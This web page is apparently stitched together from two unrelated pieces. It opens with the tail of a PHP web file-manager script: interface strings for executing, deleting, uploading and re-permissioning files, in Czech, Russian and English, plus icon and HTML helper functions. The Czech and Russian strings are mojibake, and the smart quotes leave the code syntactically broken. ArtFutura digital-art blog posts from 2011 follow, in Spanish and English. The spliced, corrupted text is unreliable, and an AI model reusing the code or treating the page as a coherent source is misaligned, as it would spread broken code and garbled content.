‘not_moved’ => “Tyto soubory nemohly být pÅ™emístÄ›ny do \”[%2]\”:\n[%1]“,
‘copy_files’ => ‘Zkopírovat tyto soubory:’,
‘copied’ => “Tyto soubory byly zkopírovány do \”[%2]\”:\n[%1]“,
‘not_copied’ => “Tyto soubory nemohly být zkopírovány do \”[%2]\”:\n[%1]“,
‘not_edited’ => ‘Soubor “[%1]” nemohl být otevÅ™en.’,
‘executed’ => “SOubor \”[%1]\” byl spuÅ¡tÄ›n :\n{%2}”,
‘not_executed’ => “Soubor \”[%1]\” nemohl být spuÅ¡tÄ›n:\n{%2}”,
’saved’ => ‘Soubor “[%1]” byl uložen.’,
‘not_saved’ => ‘Soubor “[%1]” nemohl být uložen.’,
’symlinked’ => ‘Byl vyvoÅ™en symbolický odkaz “[%2]” na soubor “[%1]“.’,
‘not_symlinked’ => ‘Symbolický odkaz “[%2]” na soubor “[%1]” nemohl být vytvoÅ™en.’,
‘permission_for’ => ‘Práva k “[%1]“:’,
‘permission_set’ => ‘Práva k “[%1]” byla zmÄ›nÄ›na na [%2].’,
‘permission_not_set’ => ‘Práva k “[%1]” nemohla být zmÄ›nÄ›na na [%2].’,
‘not_readable’ => ‘Soubor “[%1]” není možno pÅ™ečíst.’
);

case ‘ru’:

$date_format = ‘d.m.y H:i:s’;
$word_charset = ‘KOI8-R’;

return array(
‘directory’ => ‘ëÁÔÁÌÏÇ’,
‘file’ => ‘æÁÊÌ’,
‘filename’ => ‘éÍÑ ÆÁÊÌÁ’,

’size’ => ‘òÁÚÍÅÒ’,
‘permission’ => ‘ðÒÁ×Á’,
‘owner’ => ‘èÏÚÑÉÎ’,
‘group’ => ‘çÒÕÐÐÁ’,
‘other’ => ‘äÒÕÇÉÅ’,
‘functions’ => ‘æÕÎËÃÉÑ’,

‘read’ => ‘ÞÉÔÁÔØ’,
‘write’ => ‘ÐÉÓÁÔØ’,
‘execute’ => ‘×ÙÐÏÌÎÉÔØ’,

‘create_symlink’ => ‘óÄÅÌÁÔØ ÓÉÍÌÉÎË’,
‘delete’ => ‘ÕÄÁÌÉÔØ’,
‘rename’ => ‘ÐÅÒÅÉÍÅÎÏ×ÁÔØ’,
‘move’ => ‘ÐÅÒÅÄ×ÉÎÕÔØ’,
‘copy’ => ‘ËÏÐÉÒÏ×ÁÔØ’,
‘edit’ => ‘ÒÅÄÁËÔÉÒÏ×ÁÔØ’,
‘download’ => ‘ÓËÁÞÁÔØ’,
‘upload’ => ‘ÚÁËÁÞÁÔØ’,
‘create’ => ‘ÓÄÅÌÁÔØ’,
‘change’ => ‘ÐÏÍÅÎÑÔØ’,
’save’ => ‘ÓÏÈÒÁÎÉÔØ’,
’set’ => ‘ÕÓÔÁÎÏ×ÉÔØ’,
‘reset’ => ‘ÓÂÒÏÓÉÔØ’,
‘relative’ => ‘ÏÔÎÏÓÉÔÅÌØÎÙÊ ÐÕÔØ Ë ÃÅÌÉ’,

‘yes’ => ‘ÄÁ’,
‘no’ => ‘ÎÅÔ’,
‘back’ => ‘ÎÁÚÁÄ’,
‘destination’ => ‘ÃÅÌØ’,
’symlink’ => ‘ÓÉÍ×ÏÌÉÞÅÓËÉÊ ÌÉÎË’,
‘no_output’ => ‘ÎÅÔ ×Ù×ÏÄÁ’,

‘user’ => ‘ðÏÌØÚÏ×ÁÔÅÌØ’,
‘password’ => ‘ðÁÒÏÌØ’,
‘add’ => ‘ÄÏÂÁ×ÉÔØ’,
‘add_basic_auth’ => ‘äÏÂÁ×ÉÔØ HTTP-Basic-Auth’,

‘uploaded’ => ‘”[%1]” ÂÙÌ ÚÁËÁÞÅÎ.’,
‘not_uploaded’ => ‘”[%1]” ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÚÁËÁÞÑÔØ.’,
‘already_exists’ => ‘”[%1]” ÕÖÅ ÓÕÝÅÓÔ×ÕÅÔ.’,
‘created’ => ‘”[%1]” ÂÙÌ ÓÄÅÌÁÎ.’,
‘not_created’ => ‘”[%1]” ÎÅ ×ÏÚÍÏÖÎÏ ÓÄÅÌÁÔØ.’,
‘really_delete’ => ‘äÅÊÓÔ×ÉÔÅÌØÎÏ ÜÔÏÔ ÆÁÊÌ ÕÄÁÌÉÔØ?’,
‘deleted’ => “óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÂÙÌÉ ÕÄÁÌÅÎÙ:\n[%1]“,
‘not_deleted’ => “óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÕÄÁÌÉÔØ:\n[%1]“,
‘rename_file’ => ‘ðÅÒÅÉÍÅÎÏ×Ù×ÁÀ ÆÁÊÌ:’,
‘renamed’ => ‘”[%1]” ÂÙÌ ÐÅÒÅÉÍÅÎÏ×ÁÎ ÎÁ “[%2]“.’,
‘not_renamed’ => ‘”[%1] ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÐÅÒÅÉÍÅÎÏ×ÁÔØ ÎÁ “[%2]“.’,
‘move_files’ => ‘ðÅÒÅÄ×ÉÇÁÀ ÓÌÅÄÕÀÝÉÅ ÆÁÊÌÙ:’,
‘moved’ => “óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÂÙÌÉ ÐÅÒÅÄ×ÉÎÕÔÙ × ËÁÔÁÌÏÇ \”[%2]\”:\n[%1]“,
‘not_moved’ => “óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÐÅÒÅÄ×ÉÎÕÔØ × ËÁÔÁÌÏÇ \”[%2]\”:\n[%1]“,
‘copy_files’ => ‘ëÏÐÉÒÕÀ ÓÌÅÄÕÝÉÅ ÆÁÊÌÙ:’,
‘copied’ => “óÌÅÄÕÝÉÅ ÆÁÊÌÙ ÂÙÌÙ ÓËÏÐÉÒÏ×ÁÎÙ × ËÁÔÁÌÏÇ \”[%2]\” :\n[%1]“,
‘not_copied’ => “óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓËÏÐÉÒÏ×ÁÔØ × ËÁÔÁÌÏÇ \”[%2]\” :\n[%1]“,
‘not_edited’ => ‘”[%1]” ÎÅ ÍÏÖÅÔ ÂÙÔØ ÏÔÒÅÄÁËÔÉÒÏ×ÁÎ.’,
‘executed’ => “\”[%1]\” ÂÙÌ ÕÓÐÅÛÎÏ ÉÓÐÏÌÎÅÎ:\n{%2}”,
‘not_executed’ => “\”[%1]\” ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÚÁÐÕÓÔÉÔØ ÎÁ ÉÓÐÏÌÎÅÎÉÅ:\n{%2}”,
’saved’ => ‘”[%1]” ÂÙÌ ÓÏÈÒÁÎÅÎ.’,
‘not_saved’ => ‘”[%1]” ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓÏÈÒÁÎÉÔØ.’,
’symlinked’ => ‘óÉÍÌÉÎË Ó “[%2]” ÎÁ “[%1]” ÂÙÌ ÓÄÅÌÁÎ.’,
‘not_symlinked’ => ‘îÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓÄÅÌÁÔØ ÓÉÍÌÉÎË Ó “[%2]” ÎÁ “[%1]“.’,
‘permission_for’ => ‘ðÒÁ×Á ÄÏÓÔÕÐÁ “[%1]“:’,
‘permission_set’ => ‘ðÒÁ×Á ÄÏÓÔÕÐÁ “[%1]” ÂÙÌÉ ÉÚÍÅÎÅÎÙ ÎÁ [%2].’,
‘permission_not_set’ => ‘îÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÉÚÍÅÎÉÔØ ÐÒÁ×Á ÄÏÓÔÕÐÁ Ë “[%1]” ÎÁ [%2] .’,
‘not_readable’ => ‘”[%1]” ÎÅ×ÏÚÍÏÖÎÏ ÐÒÏÞÉÔÁÔØ.’
);

case ‘en’:
default:

$date_format = ‘n/j/y H:i:s’;
$word_charset = ‘ISO-8859-1′;

return array(
‘directory’ => ‘Directory’,
‘file’ => ‘File’,
‘filename’ => ‘Filename’,

’size’ => ‘Size’,
‘permission’ => ‘Permission’,
‘owner’ => ‘Owner’,
‘group’ => ‘Group’,
‘other’ => ‘Others’,
‘functions’ => ‘Functions’,

‘read’ => ‘read’,
‘write’ => ‘write’,
‘execute’ => ‘execute’,

‘create_symlink’ => ‘create symlink’,
‘delete’ => ‘delete’,
‘rename’ => ‘rename’,
‘move’ => ‘move’,
‘copy’ => ‘copy’,
‘edit’ => ‘edit’,
‘download’ => ‘download’,
‘upload’ => ‘upload’,
‘create’ => ‘create’,
‘change’ => ‘change’,
’save’ => ’save’,
’set’ => ’set’,
‘reset’ => ‘reset’,
‘relative’ => ‘Relative path to target’,

‘yes’ => ‘Yes’,
‘no’ => ‘No’,
‘back’ => ‘back’,
‘destination’ => ‘Destination’,
’symlink’ => ‘Symlink’,
‘no_output’ => ‘no output’,

‘user’ => ‘User’,
‘password’ => ‘Password’,
‘add’ => ‘add’,
‘add_basic_auth’ => ‘add basic-authentification’,

‘uploaded’ => ‘”[%1]” has been uploaded.’,
‘not_uploaded’ => ‘”[%1]” could not be uploaded.’,
‘already_exists’ => ‘”[%1]” already exists.’,
‘created’ => ‘”[%1]” has been created.’,
‘not_created’ => ‘”[%1]” could not be created.’,
‘really_delete’ => ‘Delete these files?’,
‘deleted’ => “These files have been deleted:\n[%1]“,
‘not_deleted’ => “These files could not be deleted:\n[%1]“,
‘rename_file’ => ‘Rename file:’,
‘renamed’ => ‘”[%1]” has been renamed to “[%2]“.’,
‘not_renamed’ => ‘”[%1] could not be renamed to “[%2]“.’,
‘move_files’ => ‘Move these files:’,
‘moved’ => “These files have been moved to \”[%2]\”:\n[%1]“,
‘not_moved’ => “These files could not be moved to \”[%2]\”:\n[%1]“,
‘copy_files’ => ‘Copy these files:’,
‘copied’ => “These files have been copied to \”[%2]\”:\n[%1]“,
‘not_copied’ => “These files could not be copied to \”[%2]\”:\n[%1]“,
‘not_edited’ => ‘”[%1]” can not be edited.’,
‘executed’ => “\”[%1]\” has been executed successfully:\n{%2}”,
‘not_executed’ => “\”[%1]\” could not be executed successfully:\n{%2}”,
’saved’ => ‘”[%1]” has been saved.’,
‘not_saved’ => ‘”[%1]” could not be saved.’,
’symlinked’ => ‘Symlink from “[%2]” to “[%1]” has been created.’,
‘not_symlinked’ => ‘Symlink from “[%2]” to “[%1]” could not be created.’,
‘permission_for’ => ‘Permission of “[%1]“:’,
‘permission_set’ => ‘Permission of “[%1]” was set to [%2].’,
‘permission_not_set’ => ‘Permission of “[%1]” could not be set to [%2].’,
‘not_readable’ => ‘”[%1]” can not be read.’
);

}

}

function getimage ($image) {
switch ($image) {
case ‘file’:
return base64_decode(’R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA’);
case ‘folder’:
return base64_decode(’R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA’);
case ‘hidden_file’:
return base64_decode(’R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA’);
case ‘link’:
return base64_decode(’R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA’);
case ’smiley’:
return base64_decode(’R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=’);
case ‘arrow’:
return base64_decode(’R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==’);
}
}

function html_header () {
global $site_charset;

echo << "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


END;

}

function html_footer () {

echo <<

END;

}

function notice ($phrase) {
global $cols;

$args = func_get_args();
array_shift($args);

return ‘
‘ . phrase($phrase, $args) . ‘

‘;

}

function error ($phrase) {
global $cols;

$args = func_get_args();
array_shift($args);

return ‘
‘ . phrase($phrase, $args) . ‘

‘;

}

?>

Paths of Hate - ArtFutura Show Award

27 Octubre 2011, 14:24

“Paths of Hate” by Damian Nenow has been selected by the jury as the winner of the ArtFutura Show 2011 Award.

The ArtFutura Show includes, every year, what we consider the most excellent works in the field of Digital Animation. Works from very diverse sources (Japan, Germany, Australia, France, Poland, USA..) that overcome new challenges in production and demonstrate that the medium, far from stagnating, continues to evolve its own language.

Works like Flamingo Pride, Nullarbor, The Archiver… are perfect examples of powerful animations that test the limits.

Paths of Hate, by Damian Nenow took two years to produce and tells the story “of the demons that can be found deep in the human soul, represented by two fighter pilots”. Plastige Image (who also support some of renowned director Tomek Baginski’s projects), managed to scoop the recent Siggraph 2011 Electronic Theater Jury Award.

Connected: An Autoblogography @ ArtFutura 2011

18 Octubre 2011, 19:49

ArtFutura 2011 estrena “Connected” de Tiffany Shlain. A partir del Viernes 21 de Octubre. Bilbao, Barcelona, Madrid, Palma de Mallorca, Valladolid, Vigo, Buenos Aires, Santiago de Chile…

Un fascinante documental  sobre las nuevas tecnologías y su incidencia en nuestras vidas. Una película personal con resonancia universal.

El film se desarrolla a lo largo de un año en el que la tecnología y la ciencia se convirtieron, literalmente, en una cuestión de vida o muerte para su directora.  Mezclando animación, imágenes de archivo, y grabaciones personales, Shlain revela los extraños lazos que nos unen a todos. No sólo a las personas que amamos, sino al mundo en general. + info: Connected the Film.

Rosto: The Monster of Nix

13 Octubre 2011, 15:34

Rosto - diseñador, realizador y músico - presenta en ArtFutura 2011 su nueva obra de animación digital: The Monster of Nix. Su singular estilo, admirado por Terry Gilliam, y su sólido trabajo en cortometrajes y videoclips lo sitúan entre uno de los más reconocidos (y reconocibles) animadores contemporáneos europeos.

A lo largo del tiempo, Rosto ha ido evolucionando desde un acercamiento gráfico a la animación, con ecos en su obra de David Carson o Dave McKean, a un ámbito más cinematográfico dónde, anota el autor, no falta la influencia de David Lynch.

Sus personajes habitan un mundo oscuro de sueños y pesadillas. Son personajes son obsesivos, dispuestos a acometer gestas imposibles mientras se pierden en sus propios laberintos mentales.

The Monster of Nix, cuenta en el reparto con las voces de Tom Waits y Terry Gilliam y música de The Residents y .

Steve Jobs (R.I.P)

6 Octubre 2011, 17:35

“Muchas de las cosas con las que me fui encontrando al seguir mi curiosidad e intuicion, resultaron no tener precio más adelante”.

Press, Pause, Play…

4 Octubre 2011, 15:54

“Press, Pause, Play” es un film sobre la importancia de los nuevos medios en la música, el arte y el diseño, incluyendo entrevistas con algunos de los más influyentes creadores de la era digital. Se presenta en versión original subtitulada en el próximo ArtFutura 2011.

La revolución digital de la última década ha disparado el talento de una forma sin precedentes, generando una nueva creatividad sin límites. Pero, ¿esto significa que una cultura democratizada genera mejores expresiones de arte, cine, música y literatura? ¿O el talento se pierde en ese vasto océano digital de la cultura de masas?

PressPausePlay contiene entrevistas con creadores como Moby, Bill Drummond (KLF), Sean Parker (Napster), Amy Philips (Pitchfork), Anne Hilde Neset (The Wire magazine) y Christopher Weingarten (Rolling Stone).

Mobile Trends 2020

29 Septiembre 2011, 17:11

Experimento Mp3 Bilbao, el video

19 Septiembre 2011, 11:14

Alhondiga Bilbao ha editado un video resumen del Experimento Mp3

CV Dazzle: camouflage from computer vision

12 Septiembre 2011, 13:23

comparison_sm

This project began as a thesis proposal at the Interactive Telecommunications Telecommunications Program at New York University.  CV Dazzle is a form of expressive interference that combines makeup and hair styling (or other modifications) with face-detection thwarting designs.

Landscape Futures

6 Septiembre 2011, 12:21

imagen-11

Landscape Futures explores how planetary landscapes, and our perceptions of them, can be utterly transformed by technology and design

The exhibition features commissioned works by David Benjamin & Soo-in Yang (The Living), Mark Smout & Laura Allen (Smout Allen), David Gissen, Mason White & Lola Sheppard (Lateral Office), Chris Woebken & Kenichi Okada, and Liam Young.

De los creadores de Twitter…

29 Agosto 2011, 11:38

lift

Su funcionamiento es casi un misterio, pero ya se anuncia en sociedad. Los fundadores originales de Twitter han creado el proyecto Lift y buscan usuarios interesados en ser los primeros en probarlo.

Puedes acceder a la web oficial y dejar tu correo electrónico.

Artículo sobre ArtFutura XXI

10 Agosto 2011, 11:16

articulo

Pau Waelder, crítico y comisario independiente y uno de los mayores especialistas en arte digital de nuestro país, publica un artículo sobre la exposición ArtFutura XXI en el blog de Laboral Centro de Arte + UOC.

Puedes leerlo completo en este link

Artfutura XXI en imágenes

3 Agosto 2011, 11:00

entrada
artfutura-xxi-laser-1
artfutura-xxi

Fotos: Santi Fort. Más imágenes de la exposición en Google+

Intro ArtFutura XXI: Repasando el Futuro.

28 Julio 2011, 11:30

afxxi-1

“ArtFutura XXI” es un recorrido por la estética y el pensamiento de la cultura digital de los últimos 21 años y su proyección en el siglo actual.

A través de los ojos del festival hemos visto como nuestra estética mutaba. Como nuestro verbo se digitalizaba. Como una pequeña red de comunicación militar, se extendía por todo el mundo hasta convertirse en la red más poderosa jamás construida por el ser humano.

En Internet, el tiempo y el espacio se diluyen. No es sólo una red, es una tecnología radicalmente nueva. Y todo cambia al transformarse en dígitos, la tecnología de los ordenadores: Nuestro arte, nuestras fotografías, nuestras memorias, nuestra forma de comunicarnos,  nuestro dinero, nuestros votos… todo.

A través de los ojos del festival hemos podido conocer de cerca a grandes pensadores de nuestro tiempo: Sherry Turkle, Bruce Sterling, Kevin Kelly, Howard Rheingold, William Gibson, Steven Johnson… También a los grandes creadores: Toshio Iwai, Stelarc, Chico McMurtrie, Karl Sims, Moebius, Ben Rubin, Sachiko Kodama…

Y este nuevo arte nos reconduce a algunas cuestiones fundamentales: No queremos maquinas que pinten. Queremos creadores sin límites. No queremos museos que ahoguen el presente, queremos experiencias que nos enriquezcan. No queremos un mundo más frío, paranoico y agobiante, queremos un mundo más humano.

Las nuevas herramientas digitales funcionan además con un curioso efecto multiplicador de nuestro imaginario colectivo y de nuestras emociones. Invierte codicia, ansiedad y desigualdad y obtendrás un mundo infinitamente más codicioso, estresante y desigual. Invierte creatividad, equilibrio y humanidad y obtendrás un mundo infinitamente mejor.

No es fácil. Llegamos con mentalidades viejas, caducas y gastadas. Mc Luhan escribía: “Entramos en el futuro a toda velocidad. Con la nariz pegada al espejo retrovisor”.

Los próximos 21 años serán aún más fascinantes. La tecnología digital no es estática, seguirá  aumentando su capacidad en progresión geométrica. Ofrecerá la posibilidad de expandir ideas y de comunicar de forma inmediata la creatividad y el pensamiento. También podremos gestionar nuestro mundo más eficazmente y  solucionar problemas como nunca antes había sido posible.

Y, quizás entonces,  tomaremos consciencia, como nunca, de lo que Sherry Turkle escribió en The Second Self: “Estas herramientas no son ni buenas ni malas. Son poderosas”.

Montxo Algora
Director ArtFutura

Lino Barañao, David Hanson y Philip K. Dick

27 Julio 2011, 12:00

blog-af1

Lino Barañao, Ministro de Ciencia y Tecnología de Argentina vistó a Philip K. Dick en Tecnópolis y charló con David Hanson. O fue al revés?

Hanson Robotics son creadores de los robots antropomórficos o humanoides más sofisticados jamás creados. Desde sus estudios en Texas han diseñado modelos para la Universidad de Cambridge, el Jet Propulsion Laboratory/Caltech, la universidad de Taiwan y muchos otros centros. Entre sus creaciones están los robots de Albert Einstein, Philip K. Dick y Julio (el robot de la exposición Máquinas&Almas, creado en colaboración con David Byrne). Más información en: Hanson Robotics.

ArtFutura en Tecnópolis Buenos Aires

26 Julio 2011, 16:29

ArtFutura en colaboración con Milproducciones presenta en el Tecnópolis de Buenos Aires los robots de David Hanson. La feria tiene lugar entre el 15 de Julio y el 30 de Agosto.

Hasta el momento, Tecnópolis ya recibió más de 1 millón de visitantes. La feria se transformará posteriormente en una exposición permanente. Más información en: Tecnópolis - Ministerio de Ciencia y Tecnología de Argentina.

The power of open

24 Julio 2011, 16:43

cover1

“A mediados del mes de junio se publicó el libro The Power of Open” que recoge una serie de historias de creadores individuales, colectivos e instituciones públicas y privadas que han optado por difundir sus obras mediante las licencias de Creative Commons. El libro está escrito en inglés pero ya están en marcha otras versiones”

Descarga el libro en español

First Ever Animated Tattoo

21 Julio 2011, 16:36

On June the 16th 2011 Paris based tattoo artist K.A.R.L. realised the first ever animated tattoo. Streamed live on Facebook, users accessed his mind through the Human API, shared his thoughts and influenced the tattoo.

Cronología de ArtFutura

18 Julio 2011, 16:56

En 1990 y bajo el título “Realidad Virtual” se celebraba la primera edición de ArtFutura. En la infografía de abajo podrás ver un recorrido por los años y títulos de las siguientes ediciones. Descarga o abre en otra ventana la imagen para verla más grande

af-cronologia

Bienvenidos al futuro

14 Julio 2011, 8:33

fotoaf

Bienvenidos a la inauguración de ArtFutura XXI, una exposición que nos permite asomarnos a nuestro presente y futuro tecnológico a través de un sugerente recorrido por nuestra historia inmediata: 21 años repletos de cambios, revoluciones digitales y propuestas innovadoras desarrolladas por visionarios, tecnológos y millones de usuarios anónimos.

A lo largo de estas dos últimas dos décadas el mundo se ha transformado en otro. Y  año tras año, el festival ArtFutura ha ido señalando, analizando y divulgando todos esos cambios. Esta exposición es un auténtico lujo. ArtFutura XXI propone un viaje en el tiempo que desenboca en el futuro, en el camino encontraremos todo tipo de estímulos para comprender la cultura digital y la sociedad del siglo XXI.

ArtFutura XXi . Alhóndiga Bilbao . 14 de Julio

8 Julio 2011, 12:34

La sala de exposiciones de AlhóndigaBilbao acogerá desde el 14 de julio y hasta el 1 de septiembre “ArtFutura XXI - Repasando el Futuro“, una exposición que nos propone un recorrido a través de la evolución del arte y la cultura digital en los últimos 21 años y su proyección en el Siglo XXI.

Un ambicioso proyecto sobre un espacio de 1.200 metros cuadrados con más de 30 pantallas de gran formato y que incluye obras exclusivas de los artistas Sachiko Kodama, Paul Friedlander y Theo Jansen.

Más información en: AlhóndigaBilbao.

Cuenta atrás para ArtFutura XXI

26 Junio 2011, 21:04

afxxi-5

Si estás suscrito vía RSS a nuestra sección de noticias, sabrás que ArtFutura presentará la próxima edición del festival en Alhóndiga Bilbao entre el 21 y el 23 de Octubre.

En el mismo espacio el próximo 14 de Julio inaugurará la exposición “ArtFutura XXI”.

Pronto iremos avanzando más información. Si estás planeado tus vacaciones de verano en el norte, no dejes de pasarte por Bilbao.

UVA: United Visual Artists

24 Junio 2011, 11:35

The Creators Project went and visited United Visual Artists in London, one of the art groups doing the most brilliant things with dynamic lighting in environments. They define their work in the video: “It’s not really the newness that interests us, it’s more the unfamiliarity.”

Ryoji Ikeda: The Transfinite. The set-up.

24 Junio 2011, 10:38

So how was it done? Ryoji Ikeda: The Transfinite. The set-up.

More information and extra images and videos at TheFoxisBack.

Ryoji Ikeda: The Transfinite 19

24 Junio 2011, 10:22

Ryoji Ikeda: The Transfinite 19 from Brooklyn Digital Foundry on Vimeo.

Ikeda creates a visual and sonic environment where visitors are submerged in an extreme illustration of projected and synchronized data. His work uses scale, light, shade, volume, shadow, electronic sounds, and rhythm to flood the senses. In choreographing vast amounts of digital information, Ikeda conjures up a transformative environment in which visitors confront data on a scale that defies comprehension, experiencing the infinite.

Rome, Chris Milk, Aaron Koblin. Interactive film.

20 Junio 2011, 14:02

“3 Dreams of Black” is a new interactive film directed by Chris Milk for the song “Black” by ROME, a music project by Danger Mouse & Daniele Luppi featuring Jack White & Norah Jones. Aaron Koblin was the creative director of this project.

Not only can you interact with video, you can also add your own items to the dream or see what others have build. More at: http://www.ro.me/tech

#15M: Algo se mueve

19 Junio 2011, 14:15

En la Naturaleza y en la Sociedad humana, la información se propaga de muy diferentes maneras. El cómo se propaga tiene una importancia vital tanto para la propia existencia de la vida como para el tejido social. En el BIFI se preguntaron cómo ha sido el proceso de propagación de la información en el movimiento 15M, si es o no similar a otros procesos y si pudo haber sido predicho.

El estudio realizado en colaboración con Cierzo Development tuvo como objetivo investigar, por una parte, las propiedades estadísticas de la información difundida y por otra, cómo son los patrones de conexión entre aquellos que propagan y reciben dicha información.

El estudio comprendió el periodo de tiempo entre el 25 de abril y el 26 de mayo de 2011. A partir de las 70 palabras clave relacionadas con el movimiento 15M, se han rastreado todos los mensajes intercambiados entre usuarios que contenían una de éstas. En total se han detectado y utilizado 581.749 mensajes provenientes de 87.569 usuarios.

Poder obtener la suficiente cantidad de datos estadísticos con tiempo real es una oportunidad única. Otros eventos de seguimiento masivo -como los deportivos- tienden a estar demasiado concentrados en unas pocas horas. Otros temas con estadistica grande suelen ser de variación lenta. Algo como el 15M es una situacion ideal para los estudios de formación y propagación de redes. Y su presencia online permite extraer una informacion que luego se podrá extrapolar a otras redes similares de las que no se pueden obtener datos directos.

Kevin Kelly: When Hard Books Disappear

15 Junio 2011, 16:26

books

Hard books are on their way to extinction.
We are in a special moment that will not last beyond the end of this century: Paper books are plentiful. They are cheap and everywhere, from airports to drug stores to libraries to bookstores to the shelves of millions of homes. There has never been a better time to be a lover of paper books.

But very rapidly the production of paper books will essentially cease, and the collections in homes will dwindle, and even local libraries will not be supported to house books — particularly popular titles. Rare books will collect in a few rare book libraries, and for the most part common paper books archives will become uncommon.

It seems hard to believe now, but within a few generations, seeing a actual paper book will be as rare for most people as seeing an actual lion. (Click for Complete Text)

Un artículo de Kevin Kelly

Let the crowds come in

9 Junio 2011, 11:52

Where would we be without MassMotion? The next generation of advanced software for simulating pedestrians and analyzing crowds. It’s been used in the design of projects like airports, stadiums and office towers. The world of the future. Let the crowds come in.

Clément Gino

2 Junio 2011, 11:05

Recent showreel of Director and Designer Clément Gino. It summarizes his last creations.

Think Quarterly, un respiro inspirador

30 Mayo 2011, 15:05

Think Quarterly, es una nueva (y cuidadísima) publicación online de Google. Se presenta como “un espacio para el respiro en un mundo ajetreado. Un lugar para tomarse un tiempo muerto y considerar qué está pasando y por qué es importante.” El primer número, dedicado a los Datos es realmente prometedor.

Otra democracia es posible

21 Mayo 2011, 15:50

15-mayo

En 1969 Marshall McLuhan vaticinaba: “El tiempo de la democracia política está llegando a su fin. Las urnas están obsoletas. En el mundo de los ordenadores y las comunicaciones electrónicas instantáneas, la politica cambiará desde la representación política por delegación a una nueva forma de participación comunitaria, espontánea e instantánea, que afectará a todos los ámbitos de las tomas de decisiones”.

En ArtFutura nos somos políticos. Nunca nos verás apoyar un partido político concreto. Pero creemos en la fuerza motora de las nuevas tecnologías. Y hemos seguido bien de cerca los trascendentales cambios tecnológicos que nos han llevado hacia una sociedad cada vez mejor comunicada y con mejores herramientas para construir su futuro.

Internet es diferente de los medios de comunicación tradicionales. Si estos funcionaban de forma piramidal, la Red lo hace de forma transversal ofreciendo la posibilidad de expandir ideas y de comunicar de forma inmediata a los ciudadanos como nunca antes en la historia.

Hay mucho más: Tenemos la absoluta certeza de que el abanico de posibilidades que nos va a ofrecer la tecnología digital se va a expandir de forma exponencial en los próximos años. Herramientas poderosas para mejorar nuestro mundo, para gestionarlo más eficazmente, para solucionar problemas como nunca antes había sido posible.

Otra democracia es posible. Una democracia mejor, más efectiva, que responda a las exigencias reales de los ciudadanos y no a las consignas e intereses de los partidos.

Por eso mismo queremos soñar. Estamos obligados a soñar!

Porque no hay nada más imparable que una idea.

Cuando llega su tiempo.

Selección de herramientas web para medir el impacto de la #spanishrevolution

19 Mayo 2011, 17:15

yeswecamp

“Una de las características fundamentales de las protestas que estos días se están produciendo en España es que tienen su génesis en internet. Por supuesto, el enfado de la ciudadanía viene de lejos, pero así como en los días anteriores a las elecciones generales del 14 de marzo de 2004 fueron los móviles y los mensajes SMS los canales que sirvieron para movilizar a los ciudadanos, hoy son las redes sociales(vía)

Yeswecamp / Votaciones Yeswecamp / Web 3.0 Lab / What the Trend /

Google Estadísticas de Búsqueda / Bitácoras.com

Lumi

16 Mayo 2011, 16:57

LUMI - Big Boom’s First short film from Jonathan Rodegher on Vimeo.

Este corto de animación, el estudio argentino Big Boom explora un personaje llamado Lumi, su conexión con las estrellas y la personificación del miedo.

Theo Jansen new documentary

12 Mayo 2011, 21:19

New documentary on Theo Jansen’s “Strandbeest”. For nineteen years Theo Jansen from Holland has wholeheartedly devoted himself to create a new form of life. His “Strandbeest” (beach beasts) seem so organic that from a distance they could be mistaken for huge insects or prehistoric mammoth skeletons, but they are made of materials from the industrial age: flexible plastic tubes, adhesive tape. They were born inside a computer as an algorithm, but they do not require engines, sensors or any other type of advanced technology in order to walk

Theo’s works will be included in our next exhibition: ArtFutura XXI at Bilbao’s Alhóndiga in July.

Uram Choe

11 Mayo 2011, 14:21

The visual language of U-Ram Choe describes natural biomorphic form that is marked by a seemingly organic incorporation of etched stainless steel, robotics and acrylic. Exploring the boundaries of archeological discovery and developmental morphology, Choe’s explanations and Latin titles for these creations follow the linguistic traditions of scientific nomenclature.

Telling stories using gestural transformation and the tracing of imagined evolutionary stages, these pieces take on the silhouette of actual life forms, as intricate automata express a refined delicacy and weightlessness. Unexpected and fantastical, Choe’s kinetic simulations cyclically breathe with movement that recalls aquatic propulsion, flight and ritualistic courtship displays.

Žižek on cloud computing

11 Mayo 2011, 11:10

zizek

Žižek’s critical revision of the state of cloud computing (via)

